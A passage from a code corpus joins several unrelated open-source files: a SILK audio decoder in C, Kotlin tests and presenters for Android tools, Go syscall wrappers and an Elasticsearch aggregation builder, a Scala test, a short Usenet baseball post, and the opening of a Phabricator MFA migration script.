psDec->indices.NLSFInterpCoef_Q2 < 1 << 2 ) { NLSF_interpolation_flag = 1; } else { NLSF_interpolation_flag = 0; } /* Decode excitation */ rand_seed = psDec->indices.Seed; for( i = 0; i < psDec->frame_length; i++ ) { rand_seed = silk_RAND( rand_seed ); psDec->exc_Q14[ i ] = silk_LSHIFT( (opus_int32)pulses[ i ], 14 ); if( psDec->exc_Q14[ i ] > 0 ) { psDec->exc_Q14[ i ] -= QUANT_LEVEL_ADJUST_Q10 << 4; } else if( psDec->exc_Q14[ i ] < 0 ) { psDec->exc_Q14[ i ] += QUANT_LEVEL_ADJUST_Q10 << 4; } psDec->exc_Q14[ i ] += offset_Q10 << 4; if( rand_seed < 0 ) { psDec->exc_Q14[ i ] = -psDec->exc_Q14[ i ]; } rand_seed = silk_ADD32_ovflw( rand_seed, pulses[ i ] ); } /* Copy LPC state */ silk_memcpy( sLPC_Q14, psDec->sLPC_Q14_buf, MAX_LPC_ORDER * sizeof( opus_int32 ) ); pexc_Q14 = psDec->exc_Q14; pxq = xq; sLTP_buf_idx = psDec->ltp_mem_length; /* Loop over subframes */ for( k = 0; k < psDec->nb_subfr; k++ ) { pres_Q14 = res_Q14; A_Q12 = psDecCtrl->PredCoef_Q12[ k >> 1 ]; /* Preload LPC coeficients to array on stack. Gives small performance gain */ silk_memcpy( A_Q12_tmp, A_Q12, psDec->LPC_order * sizeof( opus_int16 ) ); B_Q14 = &psDecCtrl->LTPCoef_Q14[ k * LTP_ORDER ]; signalType = psDec->indices.signalType; Gain_Q10 = silk_RSHIFT( psDecCtrl->Gains_Q16[ k ], 6 ); inv_gain_Q31 = silk_INVERSE32_varQ( psDecCtrl->Gains_Q16[ k ], 47 ); /* Calculate gain adjustment factor */ if( psDecCtrl->Gains_Q16[ k ] != psDec->prev_gain_Q16 ) { gain_adj_Q16 = silk_DIV32_varQ( psDec->prev_gain_Q16, psDecCtrl->Gains_Q16[ k ], 16 ); /* Scale short term state */ for( i = 0; i < MAX_LPC_ORDER; i++ ) { sLPC_Q14[ i ] = silk_SMULWW( gain_adj_Q16, sLPC_Q14[ i ] ); } } else { gain_adj_Q16 = (opus_int32)1 << 16; } /* Save inv_gain */ silk_assert( inv_gain_Q31 != 0 ); psDec->prev_gain_Q16 = psDecCtrl->Gains_Q16[ k ]; /* Avoid abrupt transition from voiced PLC to unvoiced normal decoding */ if( psDec->lossCnt && psDec->prevSignalType == TYPE_VOICED && psDec->indices.signalType != TYPE_VOICED && k < MAX_NB_SUBFR/2 ) { silk_memset( B_Q14, 0, LTP_ORDER * sizeof( opus_int16 ) ); B_Q14[ LTP_ORDER/2 ] = SILK_FIX_CONST( 0.25, 14 ); signalType = TYPE_VOICED; psDecCtrl->pitchL[ k ] = psDec->lagPrev; } if( signalType == TYPE_VOICED ) { /* Voiced */ lag = psDecCtrl->pitchL[ k ]; /* Re-whitening */ if( k == 0 || ( k == 2 && NLSF_interpolation_flag ) ) { /* Rewhiten with new A coefs */ start_idx = psDec->ltp_mem_length - lag - psDec->LPC_order - LTP_ORDER / 2; celt_assert( start_idx > 0 ); if( k == 2 ) { silk_memcpy( &psDec->outBuf[ psDec->ltp_mem_length ], xq, 2 * psDec->subfr_length * sizeof( opus_int16 ) ); } silk_LPC_analysis_filter( &sLTP[ start_idx ], &psDec->outBuf[ start_idx + k * psDec->subfr_length ], A_Q12, psDec->ltp_mem_length - start_idx, psDec->LPC_order, arch ); /* After rewhitening the LTP state is unscaled */ if( k == 0 ) { /* Do LTP downscaling to reduce inter-packet dependency */ inv_gain_Q31 = silk_LSHIFT( silk_SMULWB( inv_gain_Q31, psDecCtrl->LTP_scale_Q14 ), 2 ); } for( i = 0; i < lag + LTP_ORDER/2; i++ ) { sLTP_Q15[ sLTP_buf_idx - i - 1 ] = silk_SMULWB( inv_gain_Q31, sLTP[ psDec->ltp_mem_length - i - 1 ] ); } } else { /* Update LTP state when Gain changes */ if( gain_adj_Q16 != (opus_int32)1 << 16 ) { for( i = 0; i < lag + LTP_ORDER/2; i++ ) { sLTP_Q15[ sLTP_buf_idx - i - 1 ] = silk_SMULWW( gain_adj_Q16, sLTP_Q15[ sLTP_buf_idx - i - 1 ] ); } } } } /* Long-term prediction */ if( signalType == TYPE_VOICED ) { /* Set up pointer */ pred_lag_ptr = &sLTP_Q15[ sLTP_buf_idx - lag + LTP_ORDER / 2 ]; for( i = 0; i < psDec->subfr_length; i++ ) { /* Unrolled loop */ /* Avoids introducing a bias because silk_SMLAWB() always rounds to -inf */ LTP_pred_Q13 = 2; LTP_pred_Q13 = silk_SMLAWB( LTP_pred_Q13, pred_lag_ptr[ 0 ], B_Q14[ 0 ] ); LTP_pred_Q13 = silk_SMLAWB( LTP_pred_Q13, pred_lag_ptr[ -1 ], B_Q14[ 1 ] ); LTP_pred_Q13 = silk_SMLAWB( LTP_pred_Q13, pred_lag_ptr[ -2 ], B_Q14[ 2 ] ); LTP_pred_Q13 = silk_SMLAWB( LTP_pred_Q13, pred_lag_ptr[ -3 ], B_Q14[ 3 ] ); LTP_pred_Q13 = silk_SMLAWB( LTP_pred_Q13, pred_lag_ptr[ -4 ], B_Q14[ 4 ] ); pred_lag_ptr++; /* Generate LPC excitation */ pres_Q14[ i ] = silk_ADD_LSHIFT32( pexc_Q14[ i ], LTP_pred_Q13, 1 ); /* Update states */ sLTP_Q15[ sLTP_buf_idx ] = silk_LSHIFT( pres_Q14[ i ], 1 ); sLTP_buf_idx++; } } else { pres_Q14 = pexc_Q14; } for( i = 0; i < psDec->subfr_length; i++ ) { /* Short-term prediction */ celt_assert( psDec->LPC_order == 10 || psDec->LPC_order == 16 ); /* Avoids introducing a bias because silk_SMLAWB() always rounds to -inf */ LPC_pred_Q10 = silk_RSHIFT( psDec->LPC_order, 1 ); LPC_pred_Q10 = silk_SMLAWB( LPC_pred_Q10, sLPC_Q14[ MAX_LPC_ORDER + i - 1 ], A_Q12_tmp[ 0 ] ); LPC_pred_Q10 = silk_SMLAWB( LPC_pred_Q10, sLPC_Q14[ MAX_LPC_ORDER + i - 2 ], A_Q12_tmp[ 1 ] ); LPC_pred_Q10 = silk_SMLAWB( LPC_pred_Q10, sLPC_Q14[ MAX_LPC_ORDER + i - 3 ], A_Q12_tmp[ 2 ] ); LPC_pred_Q10 = silk_SMLAWB( LPC_pred_Q10, sLPC_Q14[ MAX_LPC_ORDER + i - 4 ], A_Q12_tmp[ 3 ] ); LPC_pred_Q10 = silk_SMLAWB( LPC_pred_Q10, sLPC_Q14[ MAX_LPC_ORDER + i - 5 ], A_Q12_tmp[ 4 ] ); LPC_pred_Q10 = silk_SMLAWB( LPC_pred_Q10, sLPC_Q14[ MAX_LPC_ORDER + i - 6 ], A_Q12_tmp[ 5 ] ); LPC_pred_Q10 = silk_SMLAWB( LPC_pred_Q10, sLPC_Q14[ MAX_LPC_ORDER + i - 7 ], A_Q12_tmp[ 6 ] ); LPC_pred_Q10 = silk_SMLAWB( LPC_pred_Q10, sLPC_Q14[ MAX_LPC_ORDER + i - 8 ], A_Q12_tmp[ 7 ] ); LPC_pred_Q10 = silk_SMLAWB( LPC_pred_Q10, sLPC_Q14[ MAX_LPC_ORDER + i - 9 ], A_Q12_tmp[ 8 ] ); LPC_pred_Q10 = silk_SMLAWB( LPC_pred_Q10, sLPC_Q14[ MAX_LPC_ORDER + i - 10 ], A_Q12_tmp[ 9 ] ); if( psDec->LPC_order == 16 ) { LPC_pred_Q10 = silk_SMLAWB( LPC_pred_Q10, sLPC_Q14[ MAX_LPC_ORDER + i - 11 ], A_Q12_tmp[ 10 ] ); LPC_pred_Q10 = silk_SMLAWB( LPC_pred_Q10, sLPC_Q14[ MAX_LPC_ORDER + i - 12 ], A_Q12_tmp[ 11 ] ); LPC_pred_Q10 = silk_SMLAWB( LPC_pred_Q10, sLPC_Q14[ MAX_LPC_ORDER + i - 13 ], A_Q12_tmp[ 12 ] ); LPC_pred_Q10 = silk_SMLAWB( LPC_pred_Q10, sLPC_Q14[ MAX_LPC_ORDER + i - 14 ], A_Q12_tmp[ 13 ] ); LPC_pred_Q10 = silk_SMLAWB( LPC_pred_Q10, sLPC_Q14[ MAX_LPC_ORDER + i - 15 ], A_Q12_tmp[ 14 ] ); LPC_pred_Q10 = silk_SMLAWB( LPC_pred_Q10, sLPC_Q14[ MAX_LPC_ORDER + i - 16 ], A_Q12_tmp[ 15 ] ); } /* Add prediction to LPC excitation */ sLPC_Q14[ MAX_LPC_ORDER + i ] = silk_ADD_SAT32( pres_Q14[ i ], silk_LSHIFT_SAT32( LPC_pred_Q10, 4 ) ); /* Scale with gain */ pxq[ i ] = (opus_int16)silk_SAT16( silk_RSHIFT_ROUND( silk_SMULWW( sLPC_Q14[ MAX_LPC_ORDER + i ], Gain_Q10 ), 8 ) ); } /* Update LPC filter state */ silk_memcpy( sLPC_Q14, &sLPC_Q14[ psDec->subfr_length ], MAX_LPC_ORDER * sizeof( opus_int32 ) ); pexc_Q14 += psDec->subfr_length; pxq += psDec->subfr_length; } /* Save LPC state */ silk_memcpy( psDec->sLPC_Q14_buf, sLPC_Q14, MAX_LPC_ORDER * sizeof( opus_int32 ) ); RESTORE_STACK; }
{ "pile_set_name": "Github" }
/* * Copyright (C) 2018 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.android.tools.idea.ui.resourcechooser.colorpicker2 import com.intellij.testFramework.PlatformTestCase import org.junit.Assert import java.awt.Color import java.awt.event.ActionEvent import java.awt.event.KeyEvent import javax.swing.KeyStroke import kotlin.math.roundToInt class ColorValuePanelTest : PlatformTestCase() { fun testChangeColorModeFromRGBToHSB() { val model = ColorPickerModel() val panel = ColorValuePanel(model) panel.setSize(300, 300) panel.currentAlphaFormat = AlphaFormat.BYTE panel.currentColorFormat = ColorFormat.RGB model.setColor(Color.YELLOW) assertEquals(Color.YELLOW.alpha.toString(), panel.alphaField.text) assertEquals(Color.YELLOW.red.toString(), panel.colorField1.text) assertEquals(Color.YELLOW.green.toString(), panel.colorField2.text) assertEquals(Color.YELLOW.blue.toString(), panel.colorField3.text) assertEquals(Integer.toHexString(Color.YELLOW.rgb).toUpperCase(), panel.hexField.text) panel.currentColorFormat = ColorFormat.HSB val hsb = Color.RGBtoHSB(Color.YELLOW.red, Color.YELLOW.green, Color.YELLOW.blue, null) assertEquals(Color.YELLOW.alpha.toString(), panel.alphaField.text) assertEquals((hsb[0] * 360).roundToInt().toString(), panel.colorField1.text) assertEquals((hsb[1] * 100).roundToInt().toString(), panel.colorField2.text) assertEquals((hsb[2] * 100).roundToInt().toString(), panel.colorField3.text) assertEquals(Integer.toHexString(Color.YELLOW.rgb).toUpperCase(), panel.hexField.text) } fun testChangeColorModeFromHSBToRGB() { val model = ColorPickerModel() val panel = ColorValuePanel(model) panel.setSize(300, 300) panel.currentAlphaFormat = AlphaFormat.BYTE panel.currentColorFormat = ColorFormat.HSB val argb = (0x12 shl 24) or (0x00FFFFFF and Color.HSBtoRGB(0.3f, 0.4f, 0.5f)) val color = Color(argb, true) model.setColor(color) assertEquals(0x12.toString(), panel.alphaField.text) assertEquals((0.3f * 360).roundToInt().toString(), panel.colorField1.text) assertEquals((0.4f * 100).roundToInt().toString(), panel.colorField2.text) assertEquals((0.5f * 100).roundToInt().toString(), panel.colorField3.text) assertEquals(Integer.toHexString(color.rgb).toUpperCase(), panel.hexField.text) panel.currentColorFormat = ColorFormat.RGB assertEquals(color.alpha.toString(), panel.alphaField.text) assertEquals(color.red.toString(), panel.colorField1.text) assertEquals(color.green.toString(), panel.colorField2.text) assertEquals(color.blue.toString(), panel.colorField3.text) assertEquals(Integer.toHexString(color.rgb).toUpperCase(), panel.hexField.text) } fun testChangeAlphaModeFromByteToPercentage() { val model = ColorPickerModel() val panel = ColorValuePanel(model) panel.setSize(300, 300) panel.currentAlphaFormat = AlphaFormat.BYTE model.setColor(Color.YELLOW) assertEquals(Color.YELLOW.alpha.toString(), panel.alphaField.text) panel.currentAlphaFormat = AlphaFormat.PERCENTAGE assertEquals((Color.YELLOW.alpha * 100f / 0xFF).roundToInt().toString(), panel.alphaField.text) } fun testChangeAlphaModeFromPercentageToByte() { val model = ColorPickerModel() val panel = ColorValuePanel(model) panel.setSize(300, 300) panel.currentAlphaFormat = AlphaFormat.PERCENTAGE val color = Color(0x80 shl 24, true) model.setColor(color) assertEquals("50", panel.alphaField.text) panel.currentAlphaFormat = AlphaFormat.BYTE assertEquals(color.alpha.toString(), panel.alphaField.text) } fun testChangeModelWillUpdatePanelInRGBMode() { val model = ColorPickerModel() val panel = ColorValuePanel(model) panel.setSize(300, 300) panel.currentAlphaFormat = AlphaFormat.BYTE panel.currentColorFormat = ColorFormat.RGB model.setColor(Color.YELLOW) assertEquals(Color.YELLOW.alpha.toString(), panel.alphaField.text) assertEquals(Color.YELLOW.red.toString(), panel.colorField1.text) assertEquals(Color.YELLOW.green.toString(), panel.colorField2.text) assertEquals(Color.YELLOW.blue.toString(), panel.colorField3.text) assertEquals(Integer.toHexString(Color.YELLOW.rgb).toUpperCase(), panel.hexField.text) val newColor = Color(0x40, 0x50, 0x60, 0x70) model.setColor(newColor) assertEquals(newColor.alpha.toString(), panel.alphaField.text) assertEquals(newColor.red.toString(), panel.colorField1.text) assertEquals(newColor.green.toString(), panel.colorField2.text) assertEquals(newColor.blue.toString(), panel.colorField3.text) assertEquals("70405060", panel.hexField.text) } fun testChangeFieldsInRGBMode() { val model = ColorPickerModel() val panel = ColorValuePanel(model) panel.setSize(300, 300) panel.currentAlphaFormat = AlphaFormat.BYTE panel.currentColorFormat = ColorFormat.RGB panel.colorField1.text = "200" panel.colorField2.text = "150" panel.colorField3.text = "100" panel.alphaField.text = "50" panel.updateAlarm.drainRequestsInTest() assertEquals(Color(200, 150, 100, 50), model.color) val redHex = 200.toString(16) val greenHex = 150.toString(16) val blueHex = 100.toString(16) val alphaHex = 50.toString(16) val hex = (alphaHex + redHex + greenHex + blueHex).toUpperCase() assertEquals(hex, panel.hexField.text) } fun testChangeHexFieldInRGBMode() { val model = ColorPickerModel() val panel = ColorValuePanel(model) panel.setSize(300, 300) panel.currentAlphaFormat = AlphaFormat.BYTE panel.currentColorFormat = ColorFormat.RGB panel.hexField.text = "10ABCDEF" panel.updateAlarm.drainRequestsInTest() assertEquals(Color(0xAB, 0xCD, 0xEF, 0x10), model.color) val red = 0xAB.toString() val green = 0xCD.toString() val blue = 0xEF.toString() val alpha = 0x10.toString() assertEquals(red, panel.colorField1.text) assertEquals(green, panel.colorField2.text) assertEquals(blue, panel.colorField3.text) assertEquals(alpha, panel.alphaField.text) } fun testChangeModelWillUpdatePanelInHSBMode() { val model = ColorPickerModel() val panel = ColorValuePanel(model) panel.setSize(300, 300) panel.currentAlphaFormat = AlphaFormat.BYTE panel.currentColorFormat = ColorFormat.HSB model.setColor(Color.YELLOW) val yellowHsb = Color.RGBtoHSB(Color.YELLOW.red, Color.YELLOW.green, Color.YELLOW.blue, null) assertEquals(Color.YELLOW.alpha.toString(), panel.alphaField.text) assertEquals((yellowHsb[0] * 360).roundToInt().toString(), panel.colorField1.text) assertEquals((yellowHsb[1] * 100).roundToInt().toString(), panel.colorField2.text) assertEquals((yellowHsb[2] * 100).roundToInt().toString(), panel.colorField3.text) assertEquals(Integer.toHexString(Color.YELLOW.rgb).toUpperCase(), panel.hexField.text) val newColor = Color(0x40, 0x50, 0x60, 0x70) val newColorHsb = Color.RGBtoHSB(newColor.red, newColor.green, newColor.blue, null) model.setColor(newColor) assertEquals(newColor.alpha.toString(), panel.alphaField.text) assertEquals((newColorHsb[0] * 360).roundToInt().toString(), panel.colorField1.text) assertEquals((newColorHsb[1] * 100).roundToInt().toString(), panel.colorField2.text) assertEquals((newColorHsb[2] * 100).roundToInt().toString(), panel.colorField3.text) assertEquals("70405060", panel.hexField.text) } fun testChangeFieldsInHSBMode() { val model = ColorPickerModel() val panel = ColorValuePanel(model) panel.setSize(300, 300) panel.currentAlphaFormat = AlphaFormat.BYTE panel.currentColorFormat = ColorFormat.HSB panel.colorField1.text = "180" panel.colorField2.text = "50" panel.colorField3.text = "30" panel.alphaField.text = "200" panel.updateAlarm.drainRequestsInTest() val rgbValue = Color.HSBtoRGB(180 / 360f, 50 / 100f, 30 / 100f) val color = Color((200 shl 24) or (0x00FFFFFF and rgbValue), true) assertEquals(color, model.color) assertEquals((200.toString(16) + (0x00FFFFFF and rgbValue).toString(16)).toUpperCase(), panel.hexField.text) } fun testChangeHexFieldInHSBMode() { val model = ColorPickerModel() val panel = ColorValuePanel(model) panel.setSize(300, 300) panel.currentAlphaFormat = AlphaFormat.BYTE panel.currentColorFormat = ColorFormat.HSB panel.hexField.text = "10ABCDEF" panel.updateAlarm.drainRequestsInTest() assertEquals(Color(0xAB, 0xCD, 0xEF, 0x10), model.color) val hsb = Color.RGBtoHSB(0xAB, 0xCD, 0xEF, null) val hue = (hsb[0] * 360).roundToInt().toString() val saturation = (hsb[1] * 100).roundToInt().toString() val brightness = (hsb[2] * 100).roundToInt().toString() val alpha = 0x10.toString() assertEquals(hue, panel.colorField1.text) assertEquals(saturation, panel.colorField2.text) assertEquals(brightness, panel.colorField3.text) assertEquals(alpha, panel.alphaField.text) } fun testChangeAlphaFieldsInByteMode() { val model = ColorPickerModel() val panel = ColorValuePanel(model) panel.setSize(300, 300) panel.currentAlphaFormat = AlphaFormat.BYTE model.setColor(Color(0xFF, 0xFF, 0xFF, 0xFF), null) panel.alphaField.text = "200" panel.updateAlarm.drainRequestsInTest() assertEquals(200, model.color.alpha) } fun testChangeAlphaFieldsInPercentageMode() { val model = ColorPickerModel() val panel = ColorValuePanel(model) panel.setSize(300, 300) panel.currentAlphaFormat = AlphaFormat.PERCENTAGE model.setColor(Color(0xFF, 0xFF, 0xFF, 0xFF), null) panel.alphaField.text = "50" panel.updateAlarm.drainRequestsInTest() assertEquals(0x80, model.color.alpha) } fun testChangeHexFieldWhenAlphaIsByteMode() { val model = ColorPickerModel() val panel = ColorValuePanel(model) panel.setSize(300, 300) panel.currentAlphaFormat = AlphaFormat.BYTE panel.hexField.text = "10ABCDEF" panel.updateAlarm.drainRequestsInTest() assertEquals("16", panel.alphaField.text) } fun testChangeHexFieldWhenAlphaIsPercentageMode() { val model = ColorPickerModel() val panel = ColorValuePanel(model) panel.setSize(300, 300) panel.currentAlphaFormat = AlphaFormat.BYTE panel.hexField.text = "80ABCDEF" panel.updateAlarm.drainRequestsInTest() assertEquals("128", panel.alphaField.text) } fun testHexFiledHasLeftPaddingZero() { val model = ColorPickerModel() val panel = ColorValuePanel(model) panel.setSize(300, 300) model.setColor(Color(0, 0, 0, 0x0F)) assertEquals("0F000000", panel.hexField.text) model.setColor(Color(0xF0, 0, 0, 0)) assertEquals("00F00000", panel.hexField.text) model.setColor(Color(0x0F, 0, 0, 0)) assertEquals("000F0000", panel.hexField.text) model.setColor(Color(0, 0xF0, 0, 0)) assertEquals("0000F000", panel.hexField.text) model.setColor(Color(0, 0x0F, 0, 0)) assertEquals("00000F00", panel.hexField.text) model.setColor(Color(0, 0, 0xF0, 0)) assertEquals("000000F0", panel.hexField.text) model.setColor(Color(0, 0, 0x0F, 0)) assertEquals("0000000F", panel.hexField.text) model.setColor(Color(0, 0, 0, 0)) assertEquals("00000000", panel.hexField.text) } fun testUpAndDownOnColorField() { val model = ColorPickerModel() val panel = ColorValuePanel(model) run { panel.currentAlphaFormat = AlphaFormat.BYTE val key = KeyStroke.getKeyStroke(KeyEvent.VK_UP, 0) val action = panel.alphaField.getActionForKeyStroke(key)!! val actionEvent = ActionEvent(panel.alphaField, 0, key.keyChar.toString(), key.modifiers) model.setColor(Color(0, 0, 0, 128), null) action.actionPerformed(actionEvent) assertEquals(129, panel.alphaField.colorValue) model.setColor(Color(0, 0, 0, 255), null) action.actionPerformed(actionEvent) assertEquals(255, panel.alphaField.colorValue) } run { panel.currentAlphaFormat = AlphaFormat.PERCENTAGE val key = KeyStroke.getKeyStroke(KeyEvent.VK_UP, 0) val action = panel.alphaField.getActionForKeyStroke(key)!! val actionEvent = ActionEvent(panel.alphaField, 0, key.keyChar.toString(), key.modifiers) model.setColor(Color(0, 0, 0, 128), null) action.actionPerformed(actionEvent) assertEquals(51, panel.alphaField.colorValue) model.setColor(Color(0, 0, 0, 255), null) action.actionPerformed(actionEvent) assertEquals(100, panel.alphaField.colorValue) } run { panel.currentAlphaFormat = AlphaFormat.BYTE val key = KeyStroke.getKeyStroke(KeyEvent.VK_DOWN, 0) val action = panel.alphaField.getActionForKeyStroke(key)!! val actionEvent = ActionEvent(panel.alphaField, 0, key.keyChar.toString(), key.modifiers) model.setColor(Color(0, 0, 0, 128), null) action.actionPerformed(actionEvent) assertEquals(127, panel.alphaField.colorValue) model.setColor(Color(0, 0, 0, 0), null) action.actionPerformed(actionEvent) assertEquals(0, panel.alphaField.colorValue) } run { panel.currentAlphaFormat = AlphaFormat.PERCENTAGE val key = KeyStroke.getKeyStroke(KeyEvent.VK_DOWN, 0) val action = panel.alphaField.getActionForKeyStroke(key)!! val actionEvent = ActionEvent(panel.alphaField, 0, key.keyChar.toString(), key.modifiers) model.setColor(Color(0, 0, 0, 128), null) action.actionPerformed(actionEvent) assertEquals(49, panel.alphaField.colorValue) model.setColor(Color(0, 0, 0, 0), null) action.actionPerformed(actionEvent) assertEquals(0, panel.alphaField.colorValue) } } fun testKeyEventOnAlphaLabel() { val model = ColorPickerModel() val panel = ColorValuePanel(model) val alphaButtonPanel = panel.alphaButtonPanel val key = KeyStroke.getKeyStroke(KeyEvent.VK_ENTER, 0, true) val action = alphaButtonPanel.getActionForKeyStroke(key)!! val actionEvent = ActionEvent(alphaButtonPanel, 0, key.keyChar.toString(), key.modifiers) panel.currentAlphaFormat = AlphaFormat.BYTE action.actionPerformed(actionEvent) Assert.assertEquals(AlphaFormat.PERCENTAGE, panel.currentAlphaFormat) action.actionPerformed(actionEvent) Assert.assertEquals(AlphaFormat.BYTE, panel.currentAlphaFormat) } fun testKeyEventOnColorFormatLabel() { val model = ColorPickerModel() val panel = ColorValuePanel(model) val colorFormatButtonPanel = panel.colorFormatButtonPanel val key = KeyStroke.getKeyStroke(KeyEvent.VK_ENTER, 0, true) val action = colorFormatButtonPanel.getActionForKeyStroke(key)!! val actionEvent = ActionEvent(colorFormatButtonPanel, 0, key.keyChar.toString(), key.modifiers) panel.currentColorFormat = ColorFormat.RGB action.actionPerformed(actionEvent) Assert.assertEquals(ColorFormat.HSB, panel.currentColorFormat) action.actionPerformed(actionEvent) Assert.assertEquals(ColorFormat.RGB, panel.currentColorFormat) } }
{ "pile_set_name": "Github" }
/* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ package mozilla.components.feature.findinpage.internal import kotlinx.coroutines.CoroutineScope import kotlinx.coroutines.cancel import kotlinx.coroutines.flow.collect import kotlinx.coroutines.flow.mapNotNull import mozilla.components.browser.state.selector.findTabOrCustomTab import mozilla.components.browser.state.state.SessionState import mozilla.components.browser.state.store.BrowserStore import mozilla.components.feature.findinpage.view.FindInPageView import mozilla.components.lib.state.ext.flowScoped import mozilla.components.support.ktx.kotlinx.coroutines.flow.ifChanged /** * Presenter that will observe [SessionState] changes and update the view whenever * a find result was added. */ internal class FindInPagePresenter( private val store: BrowserStore, private val view: FindInPageView ) { @Volatile internal var session: SessionState? = null private var scope: CoroutineScope? = null fun start() { scope = store.flowScoped { flow -> flow.mapNotNull { state -> session?.let { state.findTabOrCustomTab(it.id) } } .ifChanged { it.content.findResults } .collect { val results = it.content.findResults if (results.isNotEmpty()) { view.displayResult(results.last()) } } } } fun stop() { scope?.cancel() } fun bind(session: SessionState) { this.session = session view.private = session.content.private view.focus() } fun unbind() { view.clear() this.session = null } }
{ "pile_set_name": "Github" }
System Backend ============== .. toctree:: :maxdepth: 2 audit auth health init key leader lease mount namespace policy raft seal wrapping
{ "pile_set_name": "Github" }
// Copyright 2009 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. // illumos system calls not present on Solaris. // +build amd64,illumos package unix import "unsafe" func bytes2iovec(bs [][]byte) []Iovec { iovecs := make([]Iovec, len(bs)) for i, b := range bs { iovecs[i].SetLen(len(b)) if len(b) > 0 { // somehow Iovec.Base on illumos is (*int8), not (*byte) iovecs[i].Base = (*int8)(unsafe.Pointer(&b[0])) } else { iovecs[i].Base = (*int8)(unsafe.Pointer(&_zero)) } } return iovecs } //sys readv(fd int, iovs []Iovec) (n int, err error) func Readv(fd int, iovs [][]byte) (n int, err error) { iovecs := bytes2iovec(iovs) n, err = readv(fd, iovecs) return n, err } //sys preadv(fd int, iovs []Iovec, off int64) (n int, err error) func Preadv(fd int, iovs [][]byte, off int64) (n int, err error) { iovecs := bytes2iovec(iovs) n, err = preadv(fd, iovecs, off) return n, err } //sys writev(fd int, iovs []Iovec) (n int, err error) func Writev(fd int, iovs [][]byte) (n int, err error) { iovecs := bytes2iovec(iovs) n, err = writev(fd, iovecs) return n, err } //sys pwritev(fd int, iovs []Iovec, off int64) (n int, err error) func Pwritev(fd int, iovs [][]byte, off int64) (n int, err error) { iovecs := bytes2iovec(iovs) n, err = pwritev(fd, iovecs, off) return n, err }
{ "pile_set_name": "Github" }
// Copyright 2012-present Oliver Eilhard. All rights reserved. // Use of this source code is governed by a MIT-license. // See http://olivere.mit-license.org/license.txt for details. package elastic // PercentilesAggregation // See: https://www.elastic.co/guide/en/elasticsearch/reference/5.2/search-aggregations-metrics-percentile-aggregation.html type PercentilesAggregation struct { field string script *Script format string subAggregations map[string]Aggregation meta map[string]interface{} percentiles []float64 method string compression *float64 numberOfSignificantValueDigits *int estimator string } func NewPercentilesAggregation() *PercentilesAggregation { return &PercentilesAggregation{ subAggregations: make(map[string]Aggregation), percentiles: make([]float64, 0), method: "tdigest", } } func (a *PercentilesAggregation) Field(field string) *PercentilesAggregation { a.field = field return a } func (a *PercentilesAggregation) Script(script *Script) *PercentilesAggregation { a.script = script return a } func (a *PercentilesAggregation) Format(format string) *PercentilesAggregation { a.format = format return a } func (a *PercentilesAggregation) SubAggregation(name string, subAggregation Aggregation) *PercentilesAggregation { a.subAggregations[name] = subAggregation return a } // Meta sets the meta data to be included in the aggregation response. func (a *PercentilesAggregation) Meta(metaData map[string]interface{}) *PercentilesAggregation { a.meta = metaData return a } func (a *PercentilesAggregation) Percentiles(percentiles ...float64) *PercentilesAggregation { a.percentiles = append(a.percentiles, percentiles...) return a } // Method is the percentiles method, which can be "tdigest" (default) or "hdr". func (a *PercentilesAggregation) Method(method string) *PercentilesAggregation { a.method = method return a } func (a *PercentilesAggregation) Compression(compression float64) *PercentilesAggregation { a.compression = &compression return a } func (a *PercentilesAggregation) NumberOfSignificantValueDigits(digits int) *PercentilesAggregation { a.numberOfSignificantValueDigits = &digits return a } func (a *PercentilesAggregation) Estimator(estimator string) *PercentilesAggregation { a.estimator = estimator return a } func (a *PercentilesAggregation) Source() (interface{}, error) { // Example: // { // "aggs" : { // "load_time_outlier" : { // "percentiles" : { // "field" : "load_time" // } // } // } // } // This method returns only the // { "percentiles" : { "field" : "load_time" } } // part. source := make(map[string]interface{}) opts := make(map[string]interface{}) source["percentiles"] = opts // ValuesSourceAggregationBuilder if a.field != "" { opts["field"] = a.field } if a.script != nil { src, err := a.script.Source() if err != nil { return nil, err } opts["script"] = src } if a.format != "" { opts["format"] = a.format } if len(a.percentiles) > 0 { opts["percents"] = a.percentiles } switch a.method { case "tdigest": if c := a.compression; c != nil { opts[a.method] = map[string]interface{}{ "compression": *c, } } case "hdr": if n := a.numberOfSignificantValueDigits; n != nil { opts[a.method] = map[string]interface{}{ "number_of_significant_value_digits": *n, } } } if a.estimator != "" { opts["estimator"] = a.estimator } // AggregationBuilder (SubAggregations) if len(a.subAggregations) > 0 { aggsMap := make(map[string]interface{}) source["aggregations"] = aggsMap for name, aggregate := range a.subAggregations { src, err := aggregate.Source() if err != nil { return nil, err } aggsMap[name] = src } } // Add Meta data if available if len(a.meta) > 0 { source["meta"] = a.meta } return source, nil }
{ "pile_set_name": "Github" }
Organization: University of Notre Dame - Office of Univ. Computing From: <[email protected]> Subject: Re: MLB = NBA? Lines: 15 In article <[email protected]>, (Sean Garrison) says: > >I think that >players' salaries are getting way out of hand to the point that they're on >a pace to become severely detrimental to baseball's future. > so you want to decrease players' salaries? so you want to increase owners' salaries? the two are equivalent. bob vesterman.
{ "pile_set_name": "Github" }
object Test { def sum(stream: Stream[Int]): Int = stream match { case Stream.Empty => 0 case Stream.cons(hd, tl) => hd + sum(tl) } val str: Stream[Int] = List(1,2,3).iterator.toStream assert(sum(str) == 6) }
{ "pile_set_name": "Github" }
<?php // Previously, MFA factors for individual users were bound to raw factor types. // The only factor type ever implemented in the upstream was "totp". // Going forward, individual factors are bound to a provider instead. This // allows factor types to have some configuration, like API keys for // service-based MFA. It also allows installs to select which types of factors // they want users to be able to set up. // Migrate all existing TOTP factors to the first available TOTP provider, // creating one if none exists. This migration is a little bit messy, but // gives us a clean slate going forward with no "builtin" providers. $table = new PhabricatorAuthFactorConfig(); $conn = $table->establishConnection('w'); $provider_table = new PhabricatorAuthFactorProvider(); $provider_phid = null; $iterator = new LiskRawMigrationIterator($conn, $table->getTableName()); $totp_key = 'totp'; foreach ($iterator as $row) { // This wasn't a TOTP factor, so skip it. if 